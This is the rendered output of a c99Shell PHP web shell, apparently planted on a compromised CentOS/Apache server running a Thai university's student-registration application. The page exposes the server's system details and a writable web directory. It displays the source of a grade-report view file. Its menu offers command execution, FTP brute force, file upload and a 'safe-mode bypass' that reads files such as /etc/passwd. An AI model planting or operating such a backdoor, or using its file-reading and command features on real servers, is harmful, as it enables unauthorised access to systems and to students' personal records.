!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/application/views/eregis/   drwxrwxrwx
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_showRegistDetails.php (3.16 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
$rowStd 
= (isset($qu_std) && $qu_std!=NULL) ? $qu_std->row() : NULL;
?>
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td>
            <legend align="center">
            <tr><table width="100%">
                    <tr>
                        <td align="center"><span class="h error">รายวิชาที่ลงทะเบียนเรียนรายภาคการศึกษา</span></legend></td>
                    </tr>
                    <tr>
                        <td><br /></td>
                    </tr>

                        <table width="100%" align="center" border="0" cellpadding="0" cellspacing="1">
                <tr>
                    <td height="22" align="center"><font size="2"><b>รหัสนักศึกษา : </b><?php echo $rowStd->stdCode;?> <b>ชื่อ-นามสกุล : </b><?php echo $rowStd->prefixName.$rowStd->stdName.' '.$rowStd->stdSurname;?></font></td>
                </tr>
                <tr>
                    <td height="22" align="center"><font size="2"><b>ภาค/ปีการศึกษา : </b><?php echo $tmId.'/'.$acY;?></font></td>
                </tr>
                <tr>
                    <td height="22"></td>
                </tr>
                <tr>
                    <td><table class="headCol">
                        <tr>
                            <th class="stdCodeCol">รหัสรายวิชา</th>
                            <th>ชื่อรายวิชา</th>
                            <th class="amtCol">หน่วยกิต</th>
                            <th class="editCol">กลุ่ม</th>
                            <th class="editCol">เกรด</th>
                        </tr>
<?php
            $i 
0;
            if(isset(
$rs_rd) && $rs_rd->num_rows()) {
                foreach(
$rs_rd->result() as $row) {
                    if((
$i%2) == 0)
                        echo 
"<tr onmouseover=\"bgColor='".$tr_color_even."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";

?>                            <td height="22" class="indent"><font size="2"><?php echo $row->crsCode;?></font></td>
                            <td class="indent"><font size="2"><?php echo $row->crsName;?></font></td>
                            <td align="center"><font size="2"><?php echo $row->crsUnit;?></font></td>
                            <td align="center"><font size="2"><?php echo $row->coSection;?></font></td>
                            <td align="center"><font size="2"><?php echo $row->coDeclareStatus=='Y' $row->rdGrade ' ';?></font></td>
                        </tr>
<?php
                    $i
++;
                }
            }
                    if(isset(
$err_msg)) {
?>
                        <tr>
                            <td colspan="5" align="center"><font size="2" color="<?php echo $font_color_err;?>"><?php $err_msg;?></font></td>
                        </tr>
<?php
                    
}
?>
                        <tr bgcolor="<?php echo $this->config->item("rg_head_tb_headCol");?>">
                            <td height="22" colspan="2" align="right" class="indentR"><font size="2" color="<?php echo $font_color_table;?>"><b>รวมหน่วยกิต</b></font></td>
                            <td align="center"><font size="2" color="<?php echo $font_color_table;?>"><?php echo number_format($sumCredit);?></font></td>
                            <td colspan="2"><font size="2" color="<?php echo $font_color_table;?>">&nbsp;</font></td>
                        </tr>
                    </table></td>
                </tr>
                <tr>
                    <td height="22"></td>
                </tr>
                <tr>
                    <td align="center"><font size="2" color="<?php echo $font_color_err;?>">
                    <input type="button" name="close" id="close" value="ปิดหน้าต่างนี้" onClick="javascript:window.close()" /></td>
                </tr>
            </table><br>
        </td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0081 ]--